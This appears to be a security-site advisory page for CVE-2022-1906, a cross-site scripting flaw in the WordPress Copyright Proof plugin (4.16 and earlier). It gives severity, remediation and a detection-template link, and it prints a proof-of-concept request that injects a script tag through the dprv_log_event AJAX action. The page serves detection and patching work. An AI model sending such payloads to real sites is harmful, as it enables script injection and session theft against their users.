🔙 목록으로 돌아가기

CVE-2022-1906: WordPress Copyright Proof <=4.16 - Cross-Site-Scripting

TitleWordPress Copyright Proof <=4.16 - Cross-Site-Scripting
Authorrandom-robbie
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpdate to the latest version of WordPress Copyright Proof plugin (>=4.17) which includes proper input sanitization and validation.
CVSS Score6.1
EPSS Score0.05846
CVE IDCVE-2022-1906
CWE IDCWE-79
Tags cve cve2022 wordpress xss wp-plugin wp wpscan digiprove vuln

🔍 Vulnerability Description

WordPress Copyright Proof plugin 4.16 and prior contains a cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back via an AJAX action available to both unauthenticated and authenticated users when a specific setting is enabled.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=dprv_log_event&message=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1906.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-1906.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A